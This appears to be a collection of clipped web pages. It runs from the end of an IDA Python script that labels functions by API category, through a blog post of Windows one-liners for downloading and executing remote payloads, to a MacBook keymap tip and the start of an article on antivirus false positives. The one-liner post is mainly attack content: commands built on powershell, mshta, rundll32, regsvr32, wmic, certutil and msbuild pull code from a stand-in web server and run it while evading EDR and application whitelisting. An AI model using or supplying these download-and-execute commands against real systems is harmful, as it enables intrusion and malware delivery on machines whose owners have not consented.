             'WaitNamedPipeA', 'WaitNamedPipeW']
    
    # List of APIs related to HTTP from WinINet
    http = [ 'Http', 'HttpAddRequestHeadersA', 'HttpAddRequestHeadersW', 'HttpCheckDavCompliance', 'HttpEndRequestA', 'HttpEndRequestW',\
             'HttpOpenRequestA', 'HttpOpenRequestW', 'HttpQueryInfoA', 'HttpQueryInfoW', 'HttpSendRequestA', 'HttpSendRequestExA', \
             'HttpSendRequestExW', 'HttpSendRequestW' ] 
    
    # enum process
    enum = [ 'Enum', 'CreateToolhelp32Snapshot', 'Process32First' ,'Process32FirstW' ,'Process32Next' ,'Process32NextW']
    
    # List of APIs related to hashing files
    hash = ['Hash', 'CryptCreateHash' ,'CryptDestroyHash' ,'CryptDuplicateHash' ,'CryptGetHashParam' ,'CryptHashData' ,'CryptHashSessionKey' ,\
            'CryptSetHashParam' ,'CryptSignHashA' ,'CryptSignHashW', 'FreeEncryptionCertificateHashList']
    
    # List of APIs related to Cryptograpy files
    crypt = ['Crypt', 'CryptAcquireContextA' ,'CryptAcquireContextW' ,'CryptContextAddRef' ,'CryptDecrypt' ,'CryptDeriveKey' ,'CryptDestroyKey' ,\
             'CryptDuplicateKey' ,'CryptEncrypt' ,'CryptEnumProviderTypesA' ,'CryptEnumProviderTypesW' ,'CryptEnumProvidersA' ,'CryptEnumProvidersW'\
             ,'CryptExportKey' ,'CryptGenKey' ,'CryptGenRandom' ,'CryptGetDefaultProviderA' ,'CryptGetDefaultProviderW' ,'CryptGetKeyParam' ,\
             'CryptGetProvParam' ,'CryptGetUserKey' ,'CryptImportKey' ,'CryptReleaseContext' ,'CryptSetKeyParam' ,'CryptSetProvParam' ,\
             'CryptSetProviderA' ,'CryptSetProviderExA' ,'CryptSetProviderExW' ,'CryptSetProviderW' ,'CryptVerifySignatureA' ,'CryptVerifySignatureW' ,\
             'DecryptFileA' ,'DecryptFileW', 'EncryptFileA' ,'EncryptFileW' ,'EncryptedFileKeyInfo' ,'EncryptionDisable', 'WriteEncryptedFileRaw', \
             'OpenEncryptedFileRawA' ,'OpenEncryptedFileRawW', 'DuplicateEncryptionInfoFile', 'SetUserFileEncryptionKey', 'ReadEncryptedFileRaw', \
             'RemoveUsersFromEncryptedFile', 'FileEncryptionStatusA', 'FileEncryptionStatusW', 'FreeEncryptedFileKeyInfo', 'CloseEncryptedFileRaw', \
             'AddUsersToEncryptedFile', 'QueryRecoveryAgentsOnEncryptedFile', 'QueryUsersOnEncryptedFile', 'ChainWlxLogoffEvent' ,'CryptAcquireContextU' ,\
             'CryptBinaryToStringA' ,'CryptBinaryToStringW' ,'CryptCloseAsyncHandle' ,'CryptCreateAsyncHandle' ,'CryptDecodeMessage' ,'CryptDecodeObject' ,\
             'CryptDecodeObjectEx' ,'CryptDecryptAndVerifyMessageSignature' ,'CryptDecryptMessage' ,'CryptEncodeObject' ,'CryptEncodeObjectEx' ,\
             'CryptEncryptMessage' ,'CryptEnumKeyIdentifierProperties' ,'CryptEnumOIDFunction' ,'CryptEnumOIDInfo' ,'CryptEnumProvidersU' ,'CryptExportPKCS8' ,\
             'CryptExportPublicKeyInfo' ,'CryptExportPublicKeyInfoEx' ,'CryptFindLocalizedName' ,'CryptFindOIDInfo' ,'CryptFormatObject' ,\
             'CryptFreeOIDFunctionAddress' ,'CryptGetAsyncParam' ,'CryptGetDefaultOIDDllList' ,'CryptGetDefaultOIDFunctionAddress' ,\
             'CryptGetKeyIdentifierProperty' ,'CryptGetMessageCertificates' ,'CryptGetMessageSignerCount' ,'CryptGetOIDFunctionAddress' ,\
             'CryptGetOIDFunctionValue' ,'CryptHashCertificate' ,'CryptHashMessage' ,'CryptHashPublicKeyInfo' ,'CryptHashToBeSigned' ,\
             'CryptImportPKCS8' ,'CryptImportPublicKeyInfo' ,'CryptImportPublicKeyInfoEx' ,'CryptInitOIDFunctionSet' ,'CryptInstallDefaultContext' ,\
             'CryptInstallOIDFunctionAddress' ,'CryptLoadSip' ,'CryptMemAlloc' ,'CryptMemFree' ,'CryptMemRealloc' ,'CryptMsgCalculateEncodedLength' ,\
             'CryptMsgClose' ,'CryptMsgControl' ,'CryptMsgCountersign' ,'CryptMsgCountersignEncoded' ,'CryptMsgDuplicate' ,'CryptMsgEncodeAndSignCTL' ,\
             'CryptMsgGetAndVerifySigner' ,'CryptMsgGetParam' ,'CryptMsgOpenToDecode' ,'CryptMsgOpenToEncode' ,'CryptMsgSignCTL' ,'CryptMsgUpdate' ,\
             'CryptMsgVerifyCountersignatureEncoded' ,'CryptMsgVerifyCountersignatureEncodedEx' ,'CryptProtectData' ,'CryptQueryObject' ,\
             'CryptRegisterDefaultOIDFunction' ,'CryptRegisterOIDFunction' ,'CryptRegisterOIDInfo' ,'CryptSIPAddProvider' ,\
             'CryptSIPCreateIndirectData' ,'CryptSIPGetSignedDataMsg' ,'CryptSIPLoad' ,'CryptSIPPutSignedDataMsg' ,'CryptSIPRemoveProvider' ,\
             'CryptSIPRemoveSignedDataMsg' ,'CryptSIPRetrieveSubjectGuid' ,'CryptSIPRetrieveSubjectGuidForCatalogFile' ,'CryptSIPVerifyIndirectData' ,\
             'CryptSetAsyncParam' ,'CryptSetKeyIdentifierProperty' ,'CryptSetOIDFunctionValue' ,'CryptSetProviderU' ,'CryptSignAndEncodeCertificate' ,\
             'CryptSignAndEncryptMessage' ,'CryptSignCertificate' ,'CryptSignHashU' ,'CryptSignMessage' ,'CryptSignMessageWithKey' ,\
             'CryptStringToBinaryA' ,'CryptStringToBinaryW' ,'CryptUninstallDefaultContext' ,'CryptUnprotectData' ,'CryptUnregisterDefaultOIDFunction' ,\
             'CryptUnregisterOIDFunction' ,'CryptUnregisterOIDInfo' ,'CryptVerifyCertificateSignature' ,'CryptVerifyCertificateSignatureEx' ,\
             'CryptVerifyDetachedMessageHash' ,'CryptVerifyDetachedMessageSignature' ,'CryptVerifyMessageHash' ,'CryptVerifyMessageSignature' ,\
             'CryptVerifyMessageSignatureWithKey' ,'CryptVerifySignatureU' ,'I_CertProtectFunction' ,'I_CertSrvProtectFunction' ,'I_CertSyncStore' ,\
             'I_CertUpdateStore' ,'I_CryptAddRefLruEntry' ,'I_CryptAddSmartCardCertToStore' ,'I_CryptAllocTls' ,'I_CryptCreateLruCache' ,\
             'I_CryptCreateLruEntry' ,'I_CryptDetachTls' ,'I_CryptDisableLruOfEntries' ,'I_CryptEnableLruOfEntries' ,'I_CryptEnumMatchingLruEntries' ,\
             'I_CryptFindLruEntry' ,'I_CryptFindLruEntryData' ,'I_CryptFindSmartCardCertInStore' ,'I_CryptFlushLruCache' ,'I_CryptFreeLruCache' ,\
             'I_CryptFreeTls' ,'I_CryptGetAsn1Decoder' ,'I_CryptGetAsn1Encoder' ,'I_CryptGetDefaultCryptProv' ,'I_CryptGetDefaultCryptProvForEncrypt' ,\
             'I_CryptGetFileVersion' ,'I_CryptGetLruEntryData' ,'I_CryptGetLruEntryIdentifier' ,'I_CryptGetOssGlobal' ,'I_CryptGetTls' ,'I_CryptInsertLruEntry' ,\
             'I_CryptInstallAsn1Module' ,'I_CryptInstallOssGlobal' ,'I_CryptReadTrustedPublisherDWORDValueFromRegistry' ,'I_CryptRegisterSmartCardStore' ,\
             'I_CryptReleaseLruEntry' ,'I_CryptRemoveLruEntry' ,'I_CryptSetTls' ,'I_CryptTouchLruEntry' ,'I_CryptUninstallAsn1Module' ,\
             'I_CryptUninstallOssGlobal' ,'I_CryptUnregisterSmartCardStore' ,'I_CryptWalkAllLruCacheEntries']
    
    # Look up there has to be more
    service = ['Serv', 'ChangeServiceConfig2A' ,'ChangeServiceConfig2W' ,'ChangeServiceConfigA' ,'ChangeServiceConfigW' ,'CloseServiceHandle' ,\
               'ControlService' ,'CreateServiceA' ,'CreateServiceW' ,'DeleteService' ,'EnumDependentServicesA' ,'EnumDependentServicesW' ,\
               'EnumServiceGroupW' ,'EnumServicesStatusA' ,'EnumServicesStatusExA' ,'EnumServicesStatusExW' ,'EnumServicesStatusW' ,\
               'GetServiceDisplayNameA' ,'GetServiceDisplayNameW' ,'GetServiceKeyNameA' ,'GetServiceKeyNameW' ,'I_ScPnPGetServiceName' ,\
               'I_ScSetServiceBitsA' ,'I_ScSetServiceBitsW' ,'LockServiceDatabase' ,'OpenServiceA' ,'OpenServiceW' ,'PrivilegedServiceAuditAlarmA' ,\
               'PrivilegedServiceAuditAlarmW' ,'QueryServiceConfig2A' ,'QueryServiceConfig2W' ,'QueryServiceConfigA' ,'QueryServiceConfigW' ,\
               'QueryServiceLockStatusA' ,'QueryServiceLockStatusW' ,'QueryServiceObjectSecurity' ,'QueryServiceStatus' ,'QueryServiceStatusEx' ,\
               'RegisterServiceCtrlHandlerA' ,'RegisterServiceCtrlHandlerExA' ,'RegisterServiceCtrlHandlerExW' ,'RegisterServiceCtrlHandlerW' ,\
               'SetServiceBits' ,'SetServiceObjectSecurity' ,'SetServiceStatus' ,'StartServiceA' ,'StartServiceCtrlDispatcherA' ,'StartServiceCtrlDispatcherW' ,\
               'StartServiceW' ,'UnlockServiceDatabase' ,'WdmWmiServiceMain']
    
    # Generic File Operations 
    file = ['File', 'CompareFileTime' ,'CopyFileA' ,'CopyFileExA' ,'CopyFileExW' ,'CopyFileW' ,'CopyLZFile' ,'CreateFileA' ,'CreateFileMappingA' ,\
            'CreateFileMappingW' ,'CreateFileW' ,'DeleteFileA' ,'DeleteFileW' ,'DosDateTimeToFileTime' ,'FileTimeToDosDateTime' ,\
            'FileTimeToLocalFileTime' ,'FileTimeToLocalFileTime' ,'FileTimeToSystemTime' ,'FlushFileBuffers' ,'FlushViewOfFile' ,\
            'GetCPFileNameFromRegistry' ,'GetCompressedFileSizeA' ,'GetCompressedFileSizeW' ,'GetFileAttributesA' ,'GetFileAttributesExA' ,\
            'GetFileAttributesExW' ,'GetFileAttributesW' ,'GetFileInformationByHandle' ,'GetFileSize' ,'GetFileSizeEx' ,'GetFileTime' ,\
            'GetFileType' ,'GetSystemTimeAsFileTime' ,'GetTempFileNameA' ,'GetTempFileNameW' ,'LZCloseFile' ,'LZCreateFileW' ,'LZOpenFileA',\
            'LZOpenFileW' ,'LocalFileTimeToFileTime' ,'LocalFileTimeToFileTime' ,'LockFile' ,'LockFileEx' ,'MapViewOfFile' ,'MapViewOfFileEx' ,\
            'MoveFileA' ,'MoveFileExA' ,'MoveFileExW' ,'MoveFileW' ,'MoveFileWithProgressA' ,'MoveFileWithProgressW' ,'OpenDataFile' ,'OpenFile' ,\
            'OpenFileMappingA' ,'OpenFileMappingW' ,'OpenProfileUserMapping' ,'PrivCopyFileExW' ,'PrivMoveFileIdentityW' ,'ReadFile' ,'ReadFileEx' ,\
            'ReplaceFile' ,'ReplaceFileA' ,'ReplaceFileW' ,'SetEndOfFile' ,'SetFileAttributesA' ,'SetFileAttributesW' ,'SetFilePointer' ,\
            'SetFilePointerEx' ,'SetFileShortNameA' ,'SetFileShortNameW' ,'SetFileTime' ,'SetFileValidData' ,'SystemTimeToFileTime' ,\
            'UnlockFile' ,'UnlockFileEx' ,'UnmapViewOfFile' ,'WriteFile' ,'WriteFileEx' ,'WriteFileGather' ,'GetFileSecurityA' ,\
            'GetFileSecurityW' ,'SetFileSecurityA' ,'SetFileSecurityW', 'CreateFileU']
    
    # APIs related to Collecting information about the host OS 
    os_info = [ 'Info', 'GetComputerNameA' ,'GetComputerNameExA' ,'GetComputerNameExW' ,'GetComputerNameW' ,'GetDiskFreeSpaceA' ,\
                'GetDiskFreeSpaceExA' ,'GetDiskFreeSpaceExW' ,'GetDiskFreeSpaceW' ,'GetDriveTypeA' ,'GetDriveTypeW', 'GetVersion' ,\
                'GetVersionExA' ,'GetVersionExW', 'GetSystemInfo', 'GetSystemMetrics', 'CheckTokenMembership']
    
    # List of APIs related to hashing files
    cert = ['Cert','CertAddCRLContextToStore' ,'CertAddCRLLinkToStore' ,'CertAddCTLContextToStore' ,'CertAddCTLLinkToStore' ,\
            'CertAddCertificateContextToStore' ,'CertAddCertificateLinkToStore' ,'CertAddEncodedCRLToStore' ,'CertAddEncodedCertificateToStore' ,\
            'CertAddEncodedCertificateToSystemStoreA' ,'CertAddEncodedCertificateToSystemStoreW' ,'CertAddEnhancedKeyUsageIdentifier' ,\
            'CertAddSerializedElementToStore' ,'CertAddStoreToCollection' ,'CertAlgIdToOID' ,'CertCloseStore' ,'CertCompareCertificate' ,\
            'CertCompareCertificateName' ,'CertCompareIntegerBlob' ,'CertComparePublicKeyInfo' ,'CertControlStore' ,'CertCreateCTLContext' ,\
            'CertCreateCTLEntryFromCertificateContextProperties' ,'CertCreateCertificateChainEngine' ,'CertCreateCertificateContext' ,'CertCreateContext',\
            'CertCreateSelfSignCertificate' ,'CertDeleteCTLFromStore' ,'CertDeleteCertificateFromStore' ,'CertDuplicateCTLContext' ,\
            'CertDuplicateCertificateChain' ,'CertDuplicateCertificateContext' ,'CertDuplicateStore' ,'CertEnumCRLContextProperties' ,\
            'CertEnumCRLsInStore' ,'CertEnumCTLContextProperties' ,'CertEnumCTLsInStore' ,'CertEnumCertificateContextProperties' ,\
            'CertEnumCertificatesInStore' ,'CertEnumPhysicalStore' ,'CertEnumSubjectInSortedCTL' ,'CertEnumSystemStore' ,\
            'CertEnumSystemStoreLocation' ,'CertFindAttribute' ,'CertFindCRLInStore' ,'CertFindCertificateInCRL' ,'CertFindCertificateInStore',\
            'CertFindChainInStore' ,'CertFindExtension' ,'CertFindRDNAttr' ,'CertFindSubjectInCTL' ,'CertFindSubjectInSortedCTL' ,\
            'CertFreeCRLContext' ,'CertFreeCertificateChain' ,'CertFreeCertificateChainEngine' ,'CertFreeCertificateContext' ,'CertGetCRLContextProperty' ,\
            'CertGetCRLFromStore' ,'CertGetCTLContextProperty' ,'CertGetCertificateChain' ,'CertGetCertificateContextProperty' ,'CertGetEnhancedKeyUsage' ,\
            'CertGetIssuerCertificateFromStore' ,'CertGetNameStringA' ,'CertGetNameStringW' ,'CertGetPublicKeyLength' ,'CertGetStoreProperty' ,\
            'CertGetSubjectCertificateFromStore' ,'CertGetValidUsages' ,'CertIsRDNAttrsInCertificateName' ,'CertIsValidCRLForCertificate' ,\
            'CertNameToStrA' ,'CertNameToStrW' ,'CertOIDToAlgId' ,'CertOpenStore' ,'CertOpenSystemStoreA' ,'CertOpenSystemStoreW' ,'CertRDNValueToStrA',\
            'CertRDNValueToStrW' ,'CertRegisterPhysicalStore' ,'CertRegisterSystemStore' ,'CertRemoveEnhancedKeyUsageIdentifier' ,\
            'CertRemoveStoreFromCollection' ,'CertResyncCertificateChainEngine' ,'CertSaveStore' ,'CertSerializeCRLStoreElement' ,\
            'CertSerializeCertificateStoreElement' ,'CertSetCRLContextProperty' ,'CertSetCertificateContextPropertiesFromCTLEntry' ,\
            'CertSetCertificateContextProperty' ,'CertSetEnhancedKeyUsage' ,'CertSetStoreProperty' ,'CertStrToNameA' ,'CertStrToNameW' ,\
            'CertUnregisterPhysicalStore' ,'CertUnregisterSystemStore' ,'CertVerifyCRLRevocation' ,'CertVerifyCRLTimeValidity' ,\
            'CertVerifyCTLUsage' ,'CertVerifyCertificateChainPolicy' ,'CertVerifyCertificateChainPolicy' ,'CertVerifyRevocation' ,\
            'CertVerifySubjectCertificateContext','CertVerifyTimeValidity' ,'CertVerifyValidityNesting' ,'CloseCertPerformanceData' ,\
            'CollectCertPerformanceData' ,'CryptAcquireCertificatePrivateKey' ,'CryptFindCertificateKeyProvInfo' ,'CryptGetMessageCertificates' ,\
            'CryptHashCertificate' ,'CryptSignAndEncodeCertificate' ,'CryptSignCertificate' ,'CryptVerifyCertificateSignature' ,\
            'CryptVerifyCertificateSignatureEx' ,'I_CertProtectFunction' ,'I_CertSrvProtectFunction' ,'I_CertSyncStore' ,'I_CertUpdateStore' ,\
            'I_CryptAddSmartCardCertToStore' ,'I_CryptFindSmartCardCertInStore' ,'OpenCertPerformanceData' ,'PFXExportCertStore' ,'PFXExportCertStoreEx' ,'PFXImportCertStore'] 
    
    # APIs realted to searching 
    file_s = ['FSear', 'FindFirstFileW', 'FindNextFileW', 'FindClose']
    
    # Possible Hook or Injection functions
    modify = ['Mod', 'WriteProcessMemory', 'ReadProcessMemory'] 
    
    virtual = ['Virt', 'VirtualAlloc' ,'VirtualAllocEx' ,'VirtualBufferExceptionHandler' ,'VirtualFree' ,'VirtualFreeEx' ,'VirtualLock' ,
               'VirtualProtect' ,'VirtualProtectEx' ,'VirtualQuery' ,'VirtualQueryEx' ,'VirtualUnlock']
    
    critical_section = [ 'CrSec', 'DeleteCriticalSection' ,'EnterCriticalSection' ,'InitializeCriticalSection' ,
                         'InitializeCriticalSectionAndSpinCount' ,'LeaveCriticalSection' ,'SetCriticalSectionSpinCount' ,'TryEnterCriticalSection']
    
    #the list are appended to make a matrix. Removes the problem of tracking each list of apis names in the code. Hopefully makes it easier to update. 
    api_matrix = [ reg, winsock, WinINet, cache, ftp, gopher, dir, mutex, pipe, http, enum, hash, crypt, service, file, cert, os_info, file_s, modify, virtual, critical_section ]
    
    for api_row in api_matrix:
        l = api_row[0]
        print l
        apis = api_row[1:]
        for api in apis:
            ref_addrs = CodeRefsTo(LocByName(api),0)
            for ref in ref_addrs:
                func_addr = LocByName(GetFunctionName(ref))
                func_name = GetFunctionName(ref)
                if l not in func_name:
                    MakeNameEx(func_addr , l + '_' + func_name , SN_NOWARN)
    
    print "complete"
    
    
    
    '''
    # code to grab the exports from a dll
    import pefile
    import sys
    
    pe = pefile.PE(sys.argv[1])
    for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
      print exp.name
    '''  
[/code]

####

# Windows oneliners to download remote payload and execute arbitrary code

**Created:**| _9/23/2018 8:51:44 AM_  
---|---  
**Updated:**| _9/23/2018 8:51:44 AM_  
**Author:**| _wishi_  
**Tags:**| _post-exploitation_  
  

  

# Windows oneliners to download remote payload and execute arbitrary code

Il y a 10 mois

In the wake of the recent buzz and trend in using DDE for executing arbitrary
command lines and eventually compromising a system, I asked myself «  _what
are the coolest command lines an attacker could use besides the famous
powershell oneliner_ » ?

These command lines need to fulfill the following prerequisites:

  * allow for execution of arbitrary code – _because spawning calc.exe is cool, but has its limits huh ?_
  * allow for downloading its payload from a remote server – _because your super malware/RAT/agent will probably not fit into a single command line, does it ?_
  * be proxy aware – _because which company doesn’t use a web proxy for outgoing traffic nowadays ?_
  * make use of as standard and widely deployed Microsoft binaries as possible – _because you want this command line to execute on as much systems as possible_
  * be EDR friendly – _oh well, Office spawning cmd.exe is already a bad sign, but what about powershell.exe or cscript.exe downloading stuff from the internet ?_
  * work in memory only – _because your final payload might get caught by AV when written on disk_

A lot of awesome work has been done by a lot of people, especially **@subTee**
, regarding application whitelisting bypass, which is eventually what we want:
execute arbitrary code abusing Microsoft built-in binaries.

Let’s be clear that **not all command lines will fulfill all of the above
points**. Especially the «  _do not write the payload on disk_ » one, because
most of the time the downloaded file will end-up in a local cache.

When it comes to downloading a payload from a remote server, it basically
boils down to 3 options:

  1. either the command itself accepts an HTTP URL as one of its arguments
  2. the command accepts a UNC path \(_pointing to a WebDAV server_\)
  3. the command can execute a small inline script with a download cradle

Depending on the version of Windows \(_7, 10_\), the local cache for objects
downloaded over HTTP will be the **IE local cache** , in one the following
location:

  * **C:\Users\ <username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\**
  * **C:\Users\ <username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>**

On the other hand, files accessed via a UNC path pointing to a WebDAV server
will be saved in the **WebDAV client local cache** :

  * **C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs\_DAV**

When using a UNC path to point to the WebDAV server hosting the payload, keep
in mind that it will only work if the WebClient service is started. In case
it’s not started, in order to start it even from a low privileged user, simply
prepend your command line with « pushd \\\webdavserver & popd ».

In all of the following scenarios, I’ll mention which process is seen as
performing the network traffic and where the payload is written on disk.

## Powershell

* * *
Ok, this is by far the most famous one, but also probably the **most monitored
one** , **if not blocked**. A well known proxy friendly command line is the
following:

[code]

    powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
    
[/code]

Process performing network call: **powershell.exe**  
Payload written on disk: **NO** \(_at least nowhere I could find using procmon
\!_\)

Of course you could also use its encoded counterpart.

But you can also call the payload directly from a WebDAV server:

[code]

    powershell -exec bypass -f \\webdavserver\folder\payload.ps1
    
[/code]

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Cmd

* * *
Why make things complicated when you can have _cmd.exe_ executing a batch file
? Especially when that batch file can not only execute a series of commands
but also, more importantly, embed **any file type** \(s _cripting, executable,
anything that you can think of \!_\). Have a look at my **_Invoke-
EmbedInBatch.ps1_** script \(_heavily inspired by @xorrior work_\), and see
that you can easily drop any binary, dll, script:
https://github.com/Arno0x/PowerShellScripts  
So once you’ve been creative with your payload as a batch file, go for it:

[code]

    cmd.exe /k < \\webdavserver\folder\batchfile.txt
    
[/code]

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Cscript/Wscript

* * *
Also very common, but the idea here is to download the payload from a remote
server in one command line:

[code]

    cscript //E:jscript \\webdavserver\folder\payload.txt
    
[/code]

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Mshta

* * *
Mshta really is the same family as cscript/wscript but with the added
capability of executing an inline script which will download and execute a
_scriptlet_ as a payload:

[code]

    mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
    
[/code]

Process performing network call: **mshta.exe**  
Payload written on disk: **IE local cache**

You could also do a much simpler trick since mshta accepts a URL as an
argument to execute an HTA file:

[code]

    mshta http://webserver/payload.hta
    
[/code]

Process performing network call: **mshta.exe**  
Payload written on disk: **IE local cache**

Eventually, the following also works, with the advantage of hiding mshta.exe
downloading stuff:

[code]

    mshta \\webdavserver\folder\payload.hta
    
[/code]

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Rundll32

* * *
A well known one as well, can be used in different ways. First one is
referring to a standard DLL using a UNC path:

[code]

    rundll32 \\webdavserver\folder\payload.dll,entrypoint
    
[/code]

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

Rundll32 can also be used to call some inline jscript:

[code]

    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
    
[/code]

Process performing network call: **rundll32.exe**  
Payload written on disk: **IE local cache**

## Wmic

* * *
Discovered by @subTee with @mattifestation, wmic can invoke an XSL
\(_eXtensible Stylesheet Language_\) local or remote file, which may contain
some scripting of our choice:

[code]

    wmic os get /format:"https://webserver/payload.xsl"
    
[/code]

Process performing network call: **wmic.exe**  
Payload written on disk: **IE local cache**

## Regasm/Regsvc

* * *
Regasm and Regsvc are one of those fancy application whitelisting bypass
techniques discovered by @subTee. You need to create a specific DLL \(_can be
written in .Net/C\#_\) that will expose the proper interfaces, and you can
then call it over WebDAV:

[code]

    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
    
[/code]

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Regsvr32

* * *
Another one from @subTee. This ones requires a slightly different _scriptlet_
from the mshta one above. First option:

[code]

    regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
    
[/code]

Process performing network call: **regsvr32.exe**  
Payload written on disk: **IE local cache**

Second option using UNC/WebDAV:

[code]

    regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
    
[/code]

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Odbcconf

* * *
This one is close to the regsvr32 one. Also discovered by @subTee, it can
execute a DLL exposing a specific function. To be noted is that the DLL file
doesn’t need to have the _.dll_ extension. It can be downloaded using
UNC/WebDAV:

[code]

    odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
    
[/code]

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Msbuild

* * *
Let’s keep going with all these .Net framework utilities discovered by
@subTee. You can NOT use msbuild.exe using an inline tasks straight from a UNC
path \(_actually, you can but it gets really messy_\), so I turned out with
the following trick, using msbuild.exe only. Note that it will require to be
called within a shell with ENABLEDELAYEDEXPANSION \(_/V option_\):

[code]

    cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
    
[/code]

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

Not sure this one is really useful as is. As we’ll see later, we could use
other means of downloading the file locally, and then execute it with
msbuild.exe.

## Combining some commands

* * *
After all, having the possibility to execute a command line \(_from DDE for
instance_\) doesn’t mean you should restrict yourself to only one command.
Commands can be chained to reach an objective.

For instance, the whole payload download part can be done with certutil.exe,
again thanks to @subTee for discovering this:

[code]

    certutil -urlcache -split -f http://webserver/payload payload
    
[/code]

Now combining some commands in one line, with the InstallUtil.exe executing a
specific DLL as a payload:

[code]

    certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
    
[/code]

You could simply deliver an executable:

[code]

    certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
    
[/code]

There are probably much other ways of achieving the same result, but these
command lines do the job while fulfilling most of prerequisites we set at the
beginning of this post \!

One may wonder why I do not mention the usage of the _bitsadmin_ utility as a
means of downloading a payload. I’ve left this one aside on purpose simply
because it’s not proxy aware.

## Payloads source examples

* * *
All the command lines previously cited make use of specific payloads:

  * Various scriplets \(.sct\), for mshta, rundll32 or regsvr32
  * XSL files for wmic
  * HTML Application \(.hta\)
  * MSBuild inline tasks \(.xml or .csproj\)
  * DLL for InstallUtil or Regasm/Regsvc

You can get examples of most payloads from the awesome atomic-red-team repo on
Github: https://github.com/redcanaryco/atomic-red-team from **@redcanaryco**.

You can also get all these payloads automatically generated thanks to the
GreatSCT project on Github: https://github.com/GreatSCT/GreatSCT

You can also find some other examples on my gist:
https://gist.github.com/Arno0x

  

# Apple MacBook German keyboard layout on Linux console \(thpinfo.com\)

**Created:**| _8/9/2009 11:10:26 AM_  
---|---  
**Updated:**| _9/18/2009 10:33:33 AM_  
**Author:**| __  
**Tags:**| _setup Linux Mac-hacking_  
  

# Apple MacBook German keyboard layout on Linux console

Until recently, there was no nice keymap for the Apple MacBook and Debian
GNU/Linux to work with. Since `console-data (2:1.01-1)`, however, we now have
a `mac-macbook-de` keymap \(from Helmar Gerloni\).

## Configuring Debian GNU/Linux to use the right keymap for the MacBook

[code]

    $ sudo dpkg-reconfigure console-data
    
[/code]

Now, select the option `Select keymap from full list` and select `mac /
Unknown / German / Standard / MacBook`. debconf should now happily install the
new keymap for you:

[code]

    Looking for keymap to install:
    mac-macbook-de
    
[/code]

If everything went well, you should now have a working keyboard \(and the
right Apple key acting as`AltGr` on the Linux console\).

# Why security software misfires, and 6 things software authors can do about
it

**Created:**| _3/7/2018 8:37:27 AM_  
---|---  
**Updated:**| _3/7/2018 8:37:27 AM_  
**Author:**| _wishi_  
**Tags:**| _opinion antivirus snakeoil_  
  

  

# Why security software misfires, and 6 things software authors can do about
it

<img src='img/1*buRmSwXDbpsDEAKRMTxAKg.jpeg' width='60' height='37' />

<img src='img/12308_1*buRmSwXDbpsDEAKRMTxAKg.jpeg' width='576' height='357' />

Have you ever wondered why, in the era of deep learning and hoverboards,
security software can still mess up? Why is it so challenging to distinguish
clean files from malware? How can you make sure your software won’t be blasted
off customers’ machines?

Here’s what the past 10 years in Symantec Security Response’s Content
Compliance team have taught me.

Whether it’s Endpoint Protection software, a security appliance, Advanced
Threat Protection, or an intrusion prevention system, at some stage a security
solution needs to make a judgement call: Is this file a part of legitimate
harmless software? Does this traffic originate from a legitimate process? What
do I know about this process, and how can I quantify the risk to the system?

<img src='img/12311_1*fZ5HLf0upWwbxfP8WNglZA.jpeg' width='60' height='43' />

<img src='img/1*fZ5HLf0upWwbxfP8WNglZA.jpeg' width='576' height='416' />

Security solutions needs to weigh up various factors to determine whether or
not a piece of software poses a threat to the system

The protection software will gather intelligence about the traffic, processes,
or files involved, and match these attributes to known good or suspicious
attributes. For example, it may use a library of behavioral heuristic
signatures, or it can calculate the “risk” based on behavior, embedded
strings, traffic type, community rating, etc.

If the match is close enough, or if too little information is available,
blunders can happen.

Here are some of the main reasons.

### Packers

Packers bundle, compress, and encrypt binary files. They are the software
equivalent of wearing a balaclava and ski goggles. You may be an innocent
skier, but you could have trouble getting into a bank.

<img src='img/1*fn_ctZPriqgE0g0H8aviFg.jpeg' width='60' height='57' />

Obfuscation can be misleading. Would you let him into a bank?

Runtime packers, particularly polymorphic ones, are a popular way to compress
and obfuscate malware. Roughly 90 percent of Symantec’s malicious Portable
Executable \(PE\) sample submissions are packed. However, popular packers such
as ASpack, Armadillo, Themida, and UPX are also used by legitimate software to
protect intellectual property and reduce the size of the binaries. About 5
percent of clean harmless software is packed.

<img src='img/1*CgbjW3EMNI5mWV6lTXhyIw.png' width='60' height='12' />

Excerpt from a binary demonstrating the difference between unpacked and packed
versions of a PE file. The packed data is not meaningful.

In these cases, the security solution must rely on other means to choose a
path of action, such as in-memory scans, emulation in sandbox, network traffic
and file source. This poses a number of problems:

  * The metadata on which the decision is based is _reduced_. There is no community rating if the packer is polymorphic, and no “known good” or “known bad” hash-based signatures will match. The strings and API calls used by the software are masked until decryption happens at runtime.
